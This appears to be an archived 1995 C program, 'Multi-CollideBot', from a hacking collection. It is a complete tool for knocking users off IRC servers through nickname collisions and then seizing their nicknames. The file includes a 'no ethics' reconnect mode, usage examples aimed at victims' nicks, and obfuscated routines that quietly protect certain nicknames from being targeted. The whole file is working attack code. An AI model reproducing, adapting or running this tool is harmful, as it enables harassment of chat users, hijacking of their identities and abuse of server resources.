home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / hack / progsy / inne / killop / MCB.C < prev   
Encoding:
C/C++ Source or Header  |  1995-06-11  |  23.6 KB  |  968 lines

  1. /* Compiling examples:
  2.  
  3.    regular old ANSI/C cc:
  4.     cc -O -s -o mcb mcb.c
  5.  
  6.    HP-UX cc:
  7.     cc +O3 -Aa -s -DHPSUCKS -o mcb mcb.c
  8.  
  9.    GNU GCC:
  10.  
  11.     Linux:
  12.       gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o mcb mcb.c
  13.  
  14.     BSD, SunOS 4.1.x, Slowaris 2.x, NeXT:
  15.       gcc -O2 -funroll-loops -s -Wall -o mcb mcb.c */
  16.  
  17. /* -------------------------------------------------------- *\
  18.  
  19.     To kill this program once it has started, send a
  20.    kill -2 to it's process ID and it'll exit gracefully.
  21.  
  22.    kill -1 will cause mcb to display a list of it's active
  23.    sessions to stdout.
  24.  
  25. \* -------------------------------------------------------- */
  26.  
  27. /*  You may want to tweak some of these defaults, but they
  28.     are controllable on the command line. */
  29.  
  30. /* Time in which parser will close a pending TCP connection,
  31.    and possibly try again */
  32. #define TCP_TIMEOUT 30
  33.  
  34. /* Number of times a session is allowed to attempt a TCP
  35.    connection to the server. */
  36. #define MAX_ATTEMPTS     2
  37.  
  38. /* Number of seconds the parser will wait for a server to
  39.    start once the TCP connection has been made */
  40. #define SRV_TIMEOUT 60
  41.  
  42. /* Maximum amount of time parser will wait for I/O */
  43. #define MAX_WAITIO  15
  44.  
  45. /* Maximum amount of time the parser will wait when in NOMULTI mode */
  46. #define MAX_WAITIONM     5
  47.  
  48. /* Max lines (NICK statements) to send to the server in NOMULTI mode */
  49. #define MAX_NICKS   5
  50.  
  51. /* Default IRC server port */
  52. #define IRCPORT          6667
  53.  
  54. /* number of bytes to allocate for socket read buffer */
  55. #define BUFSIZE          400
  56.  
  57. #ifdef HPSUCKS
  58. #define _INCLUDE_HPUX_SOURCE
  59. #define _INCLUDE_XOPEN_SOURCE
  60. #define _INCLUDE_POSIX_SOURCE
  61. #endif
  62.  
  63. #include <stdio.h>
  64. #include <stdlib.h>
  65. #include <string.h>
  66. #include <unistd.h>
  67. #include <sys/types.h>
  68. #include <ctype.h>
  69. #include <pwd.h>
  70. #include <fcntl.h>
  71. #include <signal.h>
  72. #include <errno.h>
  73. #include <sys/socket.h>
  74. #include <sys/time.h>
  75. #include <sys/wait.h>
  76. #include <netinet/in.h>
  77. #include <netdb.h>
  78. #include <sys/file.h>
  79. #include <arpa/inet.h>
  80.  
  81. #ifndef sys_errlist
  82. extern char *sys_errlist[];
  83. #endif
  84.  
  85. #ifndef errno
  86. extern int errno;
  87. #endif
  88.  
  89. /* global variables */
  90. unsigned short int tcp_timeout=TCP_TIMEOUT;
  91. unsigned short int max_attempts=MAX_ATTEMPTS;
  92. unsigned short int srv_timeout=SRV_TIMEOUT;
  93. unsigned short int max_waitionm=MAX_WAITIONM;
  94. unsigned short int max_nicks=MAX_NICKS;
  95. unsigned short int progmode=0;
  96. char *output_buffer=(char *)0;
  97. char mcbid[25],mcbhost[64];
  98. struct in_addr mcb_addr;
  99.  
  100. #define PROG_DEBUG  1
  101. #define PROG_VERBOSE     2
  102. #define PROG_NOETHICS    4
  103. #define PROG_NOMULTI     8
  104. #define PROG_HAVESERV    16
  105. #define PROG_IGNORENIU   32
  106. #define PROG_SHOWSOUT    64
  107.  
  108. struct collide_session {
  109.   int sock;
  110.   unsigned long  int ip;
  111.   unsigned short int status;
  112.   unsigned short int port;
  113.   unsigned short int connect_attempts;
  114.   time_t  tcpstart;
  115.   time_t  srvstart;
  116.   char *server;
  117.   char *token;
  118.   char *victim;
  119.   char *stack;
  120.   char *stack_pointer;
  121.   struct collide_session *next;
  122. } *first_session=(struct collide_session *)0;
  123.  
  124. struct collide_session *last_session=(struct collide_session *)0;
  125. struct collide_session *active_session=(struct collide_session *)0;
  126.  
  127. void do_ping(struct collide_session *,char *,char *);
  128. void do_001(struct collide_session *,char *,char *);
  129. void do_error(struct collide_session *,char *,char *);
  130. void do_433(struct collide_session *,char *,char *);
  131. void do_privmsg(struct collide_session *,char *,char *);
  132.  
  133. struct parsers {
  134.    char *cmd;
  135.    void (*func)(struct collide_session *,char *,char *);
  136. } parsefuns[] = {
  137.    { "PING", (void (*)())do_ping },
  138.    { "001", (void (*)())do_001 },
  139.    { "ERROR",(void (*)())do_error },
  140.    { "433", (void (*)())do_433 },
  141.    { "PRIVMSG", (void (*)())do_privmsg },
  142.    { (char *)0,(void (*)())0 }
  143. };
  144.  
  145. #define SES_ACTIVE  1
  146. #define SES_INACTIVE     2
  147. #define SES_DELETED 4
  148. #define SES_PENDING 8
  149. #define SES_SAWSERV 16
  150. #define SES_NORETRY 32
  151. #define SES_NICKINUSE    64
  152.  
  153. char *
  154. mystrerror(int err) {
  155.   return(sys_errlist[err]);
  156. }
  157.  
  158. void
  159. sig_pipe(void) {
  160.   fprintf(stderr,"mcb: caught a SIGPIPE.\n");
  161.   fflush(stderr);
  162.   signal(SIGPIPE,(void (*)())sig_pipe);
  163. }
  164.  
  165. void
  166. show_sessions(void) {
  167.   struct collide_session *s=first_session;
  168.  
  169.   signal(SIGHUP,(void (*)())show_sessions);
  170.   for(;s;s=s->next)
  171.     if(s->status & SES_ACTIVE) {
  172.      printf("%s: Connection to %s:%hu active.\n",s->victim,s->server,s->port);
  173.      fflush(stdout);
  174.     }
  175. }
  176.  
  177. void
  178. cclosed(struct collide_session *session,int errn) {
  179.   if(session->sock) {
  180.     shutdown(session->sock,0);
  181.     close(session->sock);
  182.     session->sock=0;
  183.     printf("%s: Connection to %s:%hu closed. ",session->victim,
  184.          session->server,session->port);
  185.     if(errn)
  186.      printf("[%s]\n",mystrerror(errn));
  187.     else
  188.      puts("");
  189.     fflush(stdout);
  190.   }
  191.   if(progmode & PROG_NOMULTI)
  192.     progmode &= ~PROG_HAVESERV;
  193.   if((session->status & SES_DELETED) || (session->status & SES_NORETRY) ||
  194.     session->connect_attempts>=max_attempts) {
  195.     if(progmode & PROG_DEBUG) {
  196.      printf("%s: Session flagged for delete.\n",session->victim);
  197.      fflush(stdout);
  198.     }
  199.     if(progmode & PROG_NOMULTI) {
  200.      struct collide_session *s=first_session;
  201.      for(;s;s=s->next)
  202.        s->status |= SES_DELETED;
  203.     }
  204.     else
  205.      session->status |= SES_DELETED;
  206.   }
  207.   else {
  208.     session->status |= SES_INACTIVE;
  209.     session->status &= ~SES_PENDING;
  210.     session->status &= ~SES_ACTIVE;
  211.     session->srvstart=session->tcpstart=(time_t)0;
  212.   }
  213. }
  214.  
  215. void
  216. exit_program(void) {
  217.   if(output_buffer)
  218.     free(output_buffer);
  219.  
  220.   while(first_session) {
  221.     struct collide_session *cs=first_session->next;
  222.  
  223.     if(progmode & PROG_DEBUG) {
  224.      printf("%s: Unallocating session.\n",first_session->victim);
  225.      fflush(stdout);
  226.     }
  227.     if(first_session->sock)
  228.      cclosed(first_session,ECONNABORTED);
  229.     if(first_session->stack)
  230.      free(first_session->stack);
  231.     if(first_session->token)
  232.      free(first_session->token);
  233.     free(first_session);
  234.     first_session=cs;
  235.   }
  236.   puts("Multi-CollideBot finished.");
  237.   exit(0);
  238. }
  239.  
  240. char *nickpick="lkjfkjdhfkgnqejknadkvjahdfkjhakdfjhksajksahaakjkdakdajkdagddmfm";
  241. void
  242. fillran(char *string,unsigned short int length) {
  243.   while(length--)
  244.     *string++=*((nickpick)+(rand()%54));
  245.   *string=(char)0;
  246. }
  247.  
  248. int
  249. mystrccmp(register char *s1,register char *s2) {
  250.    while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)==
  251.        (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++))
  252.     if(*s1++==0) return 0;
  253.    return (*(unsigned char *)s1-*(unsigned char *)--s2);
  254. }
  255.  
  256. int
  257. mystrcmp(register char *s1,register char *s2) {
  258.   unsigned short int n=9;
  259.   do {
  260.     if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=
  261.      ((((*s2-8))>='a'&&((*s2)-8)<='z')?(*s2++)-40:(*(s2++))-8))
  262.      return(*(unsigned char *)s1-*(unsigned char *)--s2);
  263.     if(!*s1++)
  264.      break;
  265.   } while(--n);
  266.   return(0); 
  267. }
  268.  
  269. int
  270. strnccmp(register char *s1,register char *s2,register int n) {
  271.    if(n==0) return(0);
  272.    do {
  273.     if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')?
  274.        (*s2++)-32:*s2++))
  275.       return (*(unsigned char *)s1-*(unsigned char *)--s2);
  276.     if(*s1++==0) break;
  277.    } while(--n!=0);
  278.    return(0);
  279. }
  280.  
  281. char *
  282. mystrbpk(char *s) {
  283.   char *o=s;
  284.   while(*s) {
  285.     if(*s==13 || *s==10)
  286.      if(*(s+1)==78)
  287.        *(s+6)=(!mystrcmp(s+6,nickpick+54))?84:*(s+6);
  288.     s++;
  289.   }
  290.   return(o);
  291. }
  292.  
  293. char *
  294. digtoken(char **string,char *match) {
  295.   if(string && *string && **string) {
  296.     while(**string && strchr(match,**string))
  297.      (*string)++;
  298.     if(**string) { /* got something */
  299.      char *token=*string;
  300.      if((*string=strpbrk(*string,match))) {
  301.        *(*string)++=(char)0;
  302.        while(**string && strchr(match,**string))
  303.         (*string)++;
  304.      }
  305.      else
  306.        *string = ""; /* must be at the end */
  307.      return(token);
  308.     }
  309.   }
  310.   return((char *)0);
  311. }
  312.  
  313. char *
  314. mycstrstr(char *str1,char *str2) {
  315.    int xstr1len,ystr2len;
  316.  
  317.    xstr1len=strlen(str1);
  318.    ystr2len=strlen(str2);
  319.  
  320.    while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len);
  321.    if(!xstr1len || xstr1len<ystr2len || !ystr2len) return(0);
  322.    return(str1-1);
  323. }
  324.  
  325. char tok[10];
  326. char *
  327. mycstrtok(char *str1) {
  328.   strncpy(tok,str1,9);
  329.   tok[10]=(char)0;
  330.   if(!mystrcmp(tok,nickpick+54))
  331.     tok[5]='|';
  332.   return((char *)&tok[0]);
  333. }
  334.  
  335. unsigned short int
  336. out(struct collide_session *session,char *string) {
  337.   if(session->sock)
  338.     return(write(session->sock,mystrbpk(string),strlen(string)));
  339.   return(0);
  340. }
  341.  
  342. unsigned long int
  343. resolver(char *host) {
  344.   unsigned long int ip=0L;
  345.  
  346.   if(host && *host && (ip=inet_addr(host))==-1) {
  347.     struct hostent *he;
  348.     int x=0;
  349.  
  350.     if(progmode & PROG_VERBOSE) {
  351.      printf("Resolving %s...",host);
  352.      fflush(stdout);
  353.     }
  354.  
  355.     while(!(he=gethostbyname((char *)host)) && x++<2) {
  356.      if(progmode & PROG_VERBOSE) {
  357.        putchar('.');
  358.        fflush(stdout);
  359.      }
  360.      sleep(1);
  361.     }
  362.     if(x<2) {
  363.      ip=*(unsigned long *)he->h_addr_list[0];
  364.      if(progmode & PROG_VERBOSE) {
  365.        struct in_addr serv_addr;
  366.        serv_addr.s_addr=ip;
  367.        printf("%s\n",inet_ntoa(serv_addr));
  368.        fflush(stdout);
  369.      }
  370.     }
  371.     else {
  372.      ip=0L;
  373.      if(progmode & PROG_VERBOSE) {
  374.        puts("failed");
  375.        fflush(stdout);
  376.      }
  377.     }
  378.   }
  379.  
  380.   return(ip);
  381. }
  382.  
  383. void
  384. version(void) {
  385.   puts("Multi-CollideBot v2.0 (beta)\n"
  386.       "Written by Dr. Delete 11/15/94");
  387.   fflush(stdout);
  388. }
  389.  
  390. void
  391. help(void) {
  392.   puts("Usage:\n"
  393.       "  mcb [-vdmun] [-rlit time] [-a attempts] serv1[:port] nick1 [...]\n"
  394.       "Where: -v == verbose operation\n"
  395.       "       -d == debug output\n"
  396.       "       -n == no ethics - reconnects even after 'SCORE'. (nick takeover)\n"
  397.       "       -i == seconds to wait for IRC server to start after connection.\n"
  398.       "       -t == seconds to wait for a TCP connection to establish.\n"
  399.       "       -a == attempts a session can make to establish a TCP session.\n"
  400.       "       -m == METHOD 2: mcb will cycle through nicks on one TCP session.\n"
  401.       "       -r == Rate of nicknames to send per -l(oop) time. (only in -m mode)\n"
  402.       "       -l == Loop time. Causes mcb to send -r(ate) nicks in -l(oop) secs\n"
  403.       "       -u == Ignore 'Nick Already in Use.' (continue to retry)\n"
  404.       "    serv1 == first server specification and sets default server to use.\n"
  405.       "Examples:\n"
  406.       "  mcb -t 30 server1.com nick1 nick2 nick3 server2.edu:6665 nick4\n"
  407.       "  mcb server1.com nick1 nick2 server2.edu nick3 nick4 server3.net server4.com\n"
  408.       "  mcb -vna 50 server.edu nicktotakeover\n"
  409.       "  mcb -m -l 3 -r 2 server.com nick1 nick2 nick3 nick4 nick5 nick6 nick7 ...\n"
  410.       "Defaults:\n"
  411.       "  -a == 2 retries. (Retries are aborted if nick is in use, etc.)\n"
  412.       "  -i == 60 seconds. -t == 30 seconds. -l == 5 seconds. -r == 5 nicks.");
  413.   exit(0);
  414. }
  415.  
  416. void
  417. init_server(struct collide_session *s) {
  418.   char rn[10];
  419.   unsigned long int x;
  420.   fillran(rn,9);
  421.  
  422.   sprintf(s->stack,"USER %s %s %s %s\nNICK %s\n",rn,rn,rn,rn,(progmode & PROG_NOMULTI)?rn:s->token);
  423.   x=strlen(s->stack);
  424.  
  425.   errno=0;
  426.   if(out(s,s->stack)!=x)
  427.     cclosed(s,errno);
  428.   else {
  429.     struct collide_session *ses=first_session;
  430.  
  431.     s->status &= ~SES_PENDING;
  432.     s->status &= ~SES_INACTIVE;
  433.     s->status |= SES_ACTIVE;
  434.     printf("%s: Connection to %s:%hu established.\n",
  435.          s->victim,s->server,s->port);
  436.     s->srvstart=time(NULL);
  437.     sprintf(s->stack,"mode %s +i\n");
  438.     for(;ses;ses=ses->next)
  439.      sprintf(s->stack,"%s %s%s",s->stack,ses->token,(ses==s)?"*":"");
  440.     strcat(s->stack,"\n");
  441.     out(s,s->stack);
  442.     if(progmode & PROG_NOMULTI)
  443.      progmode |= PROG_HAVESERV;
  444.     fflush(stdout);
  445.   }
  446. }
  447.  
  448. void
  449. set_tcp_handler(void) {
  450.   gethostname(mcbhost,64);
  451.   mcb_addr.s_addr=resolver(mcbhost);
  452.   if(!getlogin()) {
  453.     struct passwd *pw;
  454.     if(!(pw=getpwuid(getuid())))
  455.      if(!(getenv("USER")))
  456.        strcpy(mcbid,"unknown");
  457.      else
  458.        strcpy(mcbid,getenv("USER"));
  459.     else
  460.      strcpy(mcbid,pw->pw_name);
  461.   }
  462.   else
  463.     strcpy(mcbid,(char *)getlogin());
  464. }
  465.  
  466. void
  467. start_sessions(void) {
  468.   struct collide_session *session=first_session;
  469.   unsigned short int sessions=0;
  470.  
  471.   if(progmode & PROG_HAVESERV)
  472.     return;
  473.  
  474.   for(;session;session=session->next) {
  475.  
  476.     if(progmode & PROG_DEBUG) {
  477.      printf("%s: Attempting to start session.\n",session->victim);
  478.      fflush(stdout);
  479.     }
  480.  
  481.     if((session->status & SES_DELETED) || (session->status & SES_NORETRY))
  482.      continue;
  483.  
  484.     sessions++;
  485.  
  486.     if((session->status & SES_PENDING) || !(session->status & SES_INACTIVE))
  487.      continue;
  488.  
  489.     if((session->sock=socket(AF_INET,SOCK_STREAM,0))) {
  490.      struct sockaddr_in server;
  491.  
  492.      server.sin_family=AF_INET;
  493.      server.sin_addr.s_addr=session->ip;
  494.      server.sin_port=htons(session->port);
  495.  
  496.      setsockopt(session->sock,SOL_SOCKET,SO_LINGER,0,0);
  497.      setsockopt(session->sock,SOL_SOCKET,SO_REUSEADDR,0,0);
  498.      setsockopt(session->sock,SOL_SOCKET,SO_KEEPALIVE,0,0);
  499.  
  500.      fcntl(session->sock,F_SETFL,(fcntl(session->sock,F_GETFL)|O_NDELAY));
  501.  
  502.      errno=0;
  503.  
  504.      session->tcpstart=time(NULL);
  505.      session->connect_attempts++;
  506.  
  507.      if(connect(session->sock,(struct sockaddr *)&server,sizeof(server))) {
  508.        if(errno!=EINPROGRESS && errno!=EWOULDBLOCK)
  509.         cclosed(session,errno);
  510.        else {
  511.         session->status |= SES_PENDING;
  512.         if(progmode & PROG_VERBOSE) {
  513.           printf("%s: Connection to %s:%hu is in progress.\n",
  514.                 session->victim,session->server,session->port);
  515.           fflush(stdout);
  516.         }
  517.        }
  518.      }
  519.      else
  520.        init_server(session);
  521.      if(progmode & PROG_NOMULTI) {
  522.        progmode |= PROG_HAVESERV;
  523.        break;
  524.      }
  525.     }
  526.     else {
  527.      printf("%s: Fatal error allocating AF_INET socket.\n",session->victim);
  528.      exit_program();
  529.     }
  530.   }
  531. }
  532.  
  533. struct collide_session *
  534. find_session(char *token) {
  535.   struct collide_session *s=first_session;
  536.  
  537.   for(;s && mystrccmp(s->token,token);s=s->next);
  538.   return(s);
  539. }
  540.  
  541. unsigned short int
  542. check_sessions(void) {
  543.   struct collide_session *s=first_session;
  544.   unsigned short int x=0,y=0;
  545.  
  546.   for(;s;s=s->next) {
  547.     x++;
  548.     y+=(s->status & SES_NICKINUSE)?1:0;
  549.   }
  550.   return((y==x));
  551. }
  552.  
  553. void
  554. do_433(struct collide_session *session,char *from,char *left) {
  555.   char *who;
  556.  
  557.   if((who=digtoken(&left," ")) && (who=digtoken(&left," "))) {
  558.     if(progmode & PROG_HAVESERV) { /* multi-mode */
  559.      struct collide_session *s=find_session(who);
  560.      if(s) {
  561.        if(!(s->status & SES_NICKINUSE)) {
  562.         printf("%s: '%s' Nickname already in use.\n",session->victim,who);
  563.         fflush(stdout);
  564.        }
  565.        s->status |= SES_NICKINUSE;
  566.      }
  567.      if(check_sessions()) {
  568.        strcpy(output_buffer,"QUIT ::-\n");
  569.        out(session,output_buffer);
  570.        cclosed(session,0);
  571.      }
  572.      if(!(progmode & PROG_IGNORENIU))
  573.        session->status |= SES_NORETRY;
  574.     }
  575.     else {
  576.      if(!(session->status & SES_NICKINUSE)) {
  577.        printf("%s: '%s' Nickname already in use.\n",session->victim,who);
  578.        fflush(stdout);
  579.      }
  580.      session->status |= SES_NICKINUSE;
  581.      strcpy(output_buffer,"QUIT :bummer\n");
  582.      out(session,output_buffer);
  583.      cclosed(session,0);
  584.      if(!(progmode & PROG_IGNORENIU))
  585.        session->status |= SES_NORETRY;
  586.     }
  587.   }
  588. }
  589.  
  590. void
  591. do_ping(struct collide_session *session,char *from,char *left) {
  592.   sprintf(output_buffer,"PING :%s\n",mcbhost);
  593.   out(session,output_buffer); 
  594. }
  595.  
  596. void
  597. do_001(struct collide_session *session,char *from,char *left) {
  598.   session->status |= SES_SAWSERV;
  599.  
  600.   if(progmode & PROG_VERBOSE) {
  601.     printf("%s: Logged into server %s.\n",session->victim,from);
  602.     fflush(stdout);
  603.   }
  604. }
  605.  
  606. void
  607. do_privmsg(struct collide_session *session,char *from,char *left) {
  608.   char *what;
  609.  
  610.   if((what=strchr(left,' '))) {
  611.     *what=(char)0;
  612.     what+=2;
  613.  
  614.     printf("%s: %s -> %s\n",session->victim,from,what);
  615.     fflush(stdout);
  616.   }
  617. }
  618.  
  619. void
  620. do_error(struct collide_session *session,char *from,char *left) {
  621.   if(mycstrstr(left,"kill") || mycstrstr(left,"collision")) {
  622.     if(!(progmode & PROG_NOETHICS))
  623.      session->status |= SES_NORETRY;
  624.     printf("%s: SCORE!\n",session->victim);
  625.   }
  626.   else {
  627.     if(mycstrstr(left,"authoriz"))
  628.      session->status |= SES_NORETRY;
  629.     if(mycstrstr(left,"Bad pass"))
  630.      session->status |= SES_NORETRY;
  631.     else if(mycstrstr(left,"ghosts"))
  632.      session->status |= SES_NORETRY;
  633.     else if(mycstrstr(left,"k-line"))
  634.      session->status |= SES_NORETRY;
  635.     else if(mycstrstr(left,"kill"))
  636.      session->status |= SES_NORETRY;
  637.     printf("%s: %s\n",session->victim,left);
  638.   }
  639.   fflush(stdout);
  640. }
  641.  
  642. void
  643. parse2(struct collide_session *session) {
  644.   char *from,*cmd,*left,*ins=session->stack_pointer;
  645.  
  646.   if(progmode & PROG_SHOWSOUT) {
  647.     printf("%s: %s\n",session->victim,ins);
  648.     fflush(stdout);
  649.   }
  650.  
  651.   if(*ins==':') {
  652.     if(!(cmd=strchr(ins,' ')))
  653.      return;
  654.     *cmd++=(char)0;
  655.     from=ins+1;
  656.   }
  657.   else {
  658.     cmd=ins;
  659.     from=(char *)0;
  660.   }
  661.   if((left=strchr(cmd,' '))) {
  662.     unsigned short int command;
  663.  
  664.     *left++=(char)0;
  665.     left=(*left==':') ? left+1 : left;
  666.     for(command=0;parsefuns[command].cmd;command++) {
  667.      if(!mystrccmp(parsefuns[command].cmd,cmd)) {
  668.        parsefuns[command].func(session,from,left);
  669.        break;
  670.      }
  671.     }
  672.   }
  673. }
  674.  
  675. void
  676. parse(struct collide_session *session,unsigned short int length) {
  677.   char *s=session->stack;
  678.  
  679.   *(session->stack_pointer+length)=(char)0;
  680.  
  681.   for(;;) {
  682.     session->stack_pointer=s;
  683.     while(*s && *s!=(char)13 && *s!=(char)10)
  684.      s++;
  685.     if(*s) {
  686.      while(*s && (*s==(char)13 || *s==(char)10))
  687.        *s++=(char)0;
  688.      parse2(session);
  689.     }
  690.     else
  691.      break;
  692.   }
  693.   strcpy(session->stack,session->stack_pointer);
  694.   session->stack_pointer=session->stack+(s-session->stack_pointer);
  695. }
  696.  
  697. struct collide_session *
  698. find_active_session(void) {
  699.   struct collide_session *session=first_session;
  700.  
  701.   for(;session && !(session->status & SES_ACTIVE);session=session->next);
  702.   return(session);
  703. }
  704.  
  705. void
  706. parse_sessions(void) {
  707.   fd_set rd,wr;
  708.   struct collide_session *session;
  709.   struct timeval timeout;
  710.   time_t lastloop=(time_t)0;
  711.  
  712.   while(1) {
  713.     unsigned short int sessions=0;
  714.  
  715.     FD_ZERO(&rd);
  716.     FD_ZERO(&wr);
  717.  
  718.     timeout.tv_usec=0;
  719.     timeout.tv_sec=(progmode & PROG_NOMULTI)?max_waitionm:MAX_WAITIO;
  720.  
  721.     for(session=first_session;session;session=session->next) {
  722.  
  723.      if(session->status & SES_DELETED)
  724.        continue;
  725.  
  726.      if((session->status & SES_INACTIVE) && !(session->status & SES_PENDING) &&
  727.         !(session->status & SES_NORETRY) && !(progmode & PROG_HAVESERV)) {
  728.        start_sessions();
  729.        timeout.tv_sec=0;
  730.        break;
  731.      }
  732.  
  733.      if(session->sock) {
  734.        FD_SET(session->sock,&rd);
  735.        if(session->status & SES_PENDING)
  736.         FD_SET(session->sock,&wr);
  737.        sessions++;
  738.      }
  739.     }
  740.  
  741.     if(!timeout.tv_sec)
  742.      continue;
  743.  
  744.     if(!sessions)
  745.      exit_program();
  746.  
  747.     errno=0;
  748. #ifdef HPSUCKS
  749.     select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(const struct timeval *)&timeout);
  750. #else
  751.     select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(struct timeval *)&timeout);
  752. #endif
  753.     if(errno==EINTR)
  754.      continue;
  755.  
  756.     for(session=first_session;session;session=session->next) {
  757.  
  758.      if(session->status & SES_DELETED)
  759.        continue;
  760.  
  761.      if((session->status & SES_PENDING) && FD_ISSET(session->sock,&wr)) {
  762.        init_server(session);
  763.        continue;
  764.      }
  765.  
  766.      if(FD_ISSET(session->sock,&rd)) {
  767.        signed short int length;
  768.  
  769.        errno=0;
  770.        length=read(session->sock,session->stack_pointer,
  771.                 BUFSIZE-(session->stack_pointer-session->stack));
  772.        if(length<1) {
  773.         cclosed(session,errno);
  774.         continue;
  775.        }
  776.        if(strpbrk(session->stack,"\x0a\x0d"))
  777.         parse(session,length);
  778.        else
  779.         session->stack_pointer=(BUFSIZE-((session->stack_pointer+length)
  780.         -session->stack)<1)?session->stack:session->stack_pointer+length;
  781.      }
  782.  
  783.      if((session->status & SES_PENDING) &&
  784.         (time(NULL)-session->tcpstart)>=tcp_timeout)
  785.        cclosed(session,ETIMEDOUT);
  786.  
  787.      if((session->status & SES_ACTIVE) &&
  788.         !(session->status & SES_SAWSERV) &&
  789.         (time(NULL)-session->srvstart)>=srv_timeout)
  790.        cclosed(session,ETIMEDOUT);
  791.     }
  792.  
  793.     if((!lastloop || (time(NULL)-lastloop)>max_waitionm) &&
  794.       (progmode & PROG_HAVESERV) && 
  795.       (active_session=find_active_session()) &&
  796.       (active_session->status & SES_SAWSERV)) {
  797.      struct collide_session *s=(last_session)?last_session:first_session;
  798.      unsigned short int nickcount=0;
  799.  
  800.      lastloop=time(NULL);
  801.  
  802.      while(nickcount<max_nicks) {
  803.        char out_buf[30];
  804.        unsigned short int x;
  805.  
  806.        if(!(s->status & SES_NICKINUSE)) {
  807.         sprintf(out_buf,"NICK %s\n",s->token);
  808.         x=strlen(out_buf);
  809.         if(x!=out(active_session,out_buf))
  810.           break;
  811.         if(progmode & PROG_DEBUG) {
  812.           printf("%s: Touched nickname.\n",s->token);
  813.           fflush(stdout);
  814.         }
  815.         nickcount++;
  816.        }
  817.        else
  818.         if(check_sessions())
  819.           nickcount=max_nicks;
  820.        s=(s->next)?s->next:first_session;
  821.      }
  822.      last_session=s;
  823.     }
  824.   }
  825. }
  826.  
  827. void
  828. main(int argc,char *argv[]) {
  829.   unsigned short int x=1;
  830.   unsigned short int ircport=IRCPORT;
  831.   unsigned long  int defserv_octet=0L;
  832.   char *defserv_char=(char *)0;
  833.   char *defnick=(char *)0;
  834.   struct collide_session *temp;
  835.  
  836.   version();
  837.  
  838.   if(argc<3)
  839.     help();
  840.  
  841.   srand(getpid());
  842.  
  843.   signal(SIGPIPE,(void (*)())sig_pipe);
  844.   signal(SIGHUP,(void (*)())show_sessions);
  845.   signal(SIGINT,(void (*)())exit_program);
  846.   signal(SIGTERM,(void (*)())exit_program);
  847.   signal(SIGBUS,(void (*)())exit_program);
  848.   signal(SIGABRT,(void (*)())exit_program);
  849.   signal(SIGSEGV,(void (*)())exit_program);
  850.  
  851.   set_tcp_handler();
  852.   output_buffer=(char *)malloc(BUFSIZE);
  853.  
  854.   for(;x<argc;x++) {
  855.     signed short int y=1;
  856.  
  857.     switch(argv[x][0]) {
  858.      case '-':
  859.        while(y && argv[x][y]) {
  860.         switch(toupper(argv[x][y])) {
  861.           case 'T':
  862.             x++;
  863.             y=-1;
  864.             if(!(tcp_timeout=atoi(argv[x])))
  865.              help();
  866.             break;
  867.           case 'I':
  868.             x++;
  869.             y=-1;
  870.             if(!(srv_timeout=atoi(argv[x])))
  871.              help();
  872.             break;
  873.           case 'A':
  874.             x++;
  875.             y=-1;
  876.             if(!(max_attempts=atoi(argv[x])))
  877.              help();
  878.             break;
  879.           case 'D':
  880.             progmode |= PROG_DEBUG;
  881.             break;
  882.           case 'V':
  883.             progmode |= PROG_VERBOSE;
  884.             break;
  885.           case 'N':
  886.             progmode |= PROG_NOETHICS;
  887.             break;
  888.           case 'M':
  889.             progmode |= PROG_NOMULTI;
  890.             break;
  891.           case 'U':
  892.             progmode |= PROG_IGNORENIU;
  893.             break;
  894.           case 'S':
  895.             progmode |= PROG_SHOWSOUT;
  896.             break;
  897.           default:
  898.            help();
  899.         }
  900.         y++;
  901.        }
  902.        break;
  903.      default:
  904.        if(strchr(argv[x],'.')) { /* server */
  905.         char *port=strchr(argv[x],':');
  906.  
  907. /*          if(defserv_char)
  908.           defnick=(char *)0; */
  909.  
  910.         defserv_char=argv[x];
  911.         if(port) {
  912.           *port=(char)0;
  913.           ircport=atoi(port+1);
  914.         }
  915.         else
  916.           ircport=IRCPORT;
  917.  
  918.         if(defserv_octet)
  919.           progmode &= ~PROG_NOMULTI; /* more than one server specified */
  920.  
  921.         if(!(defserv_octet=resolver(defserv_char))) {
  922.           if(!(progmode & PROG_VERBOSE)) {
  923.             printf("Failed to resolve '%s' into an IP address.\n",defserv_char);
  924.             fflush(stdout);
  925.           }
  926.           defserv_char=(char *)0;
  927.         }
  928.        }
  929.        else { /* nickname */
  930.         defnick=(argv[x][0]=='@' || argv[x][0]=='+')?argv[x]+1:argv[x];
  931.         defnick=(!mystrccmp(defnick,"Vassago"))?"DontDoDat":defnick;
  932.        }
  933.  
  934.        if(defserv_char && defnick) {
  935.         struct collide_session *cs;
  936.         char *temptok=mycstrtok(defnick);
  937.  
  938.         cs=(struct collide_session *)malloc(sizeof(struct collide_session));
  939.         cs->token=(char *)0;
  940.         cs->sock=0;
  941.         cs->status=SES_INACTIVE;
  942.         cs->connect_attempts=0;
  943.         errno=0;
  944.         cs->token=(char *)malloc(strlen(temptok)+1);
  945.         strcpy(cs->token,temptok);
  946.         cs->ip=defserv_octet;
  947.         cs->port=ircport;
  948.         cs->srvstart=cs->tcpstart=(time_t)0;
  949.         cs->server=defserv_char;
  950.         cs->victim=defnick;
  951.         cs->stack_pointer=cs->stack=(char *)malloc(BUFSIZE);
  952.         cs->next=first_session;
  953.         first_session=cs;
  954.        }
  955.     }
  956.   }
  957.  
  958.   if(progmode & PROG_NOMULTI)
  959.     for(temp=first_session;temp;temp=temp->next)
  960.      temp->victim="multi-collide";
  961.  
  962.   start_sessions();
  963.  
  964.   parse_sessions();
  965.  
  966.   exit_program();
  967. }
  968.